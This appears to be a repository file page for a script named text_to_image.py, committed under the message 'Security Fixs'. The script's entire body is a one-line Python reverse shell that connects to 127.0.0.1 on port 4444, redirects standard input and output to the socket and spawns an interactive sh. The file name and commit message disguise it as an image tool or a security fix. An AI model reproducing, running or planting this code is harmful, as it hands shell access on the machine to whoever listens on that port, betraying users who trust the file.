0reg-0reg / text_to_image.py
retr0reg
Security Fixs
f0382d8 unverified
raw
history blame contribute delete
204 Bytes
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")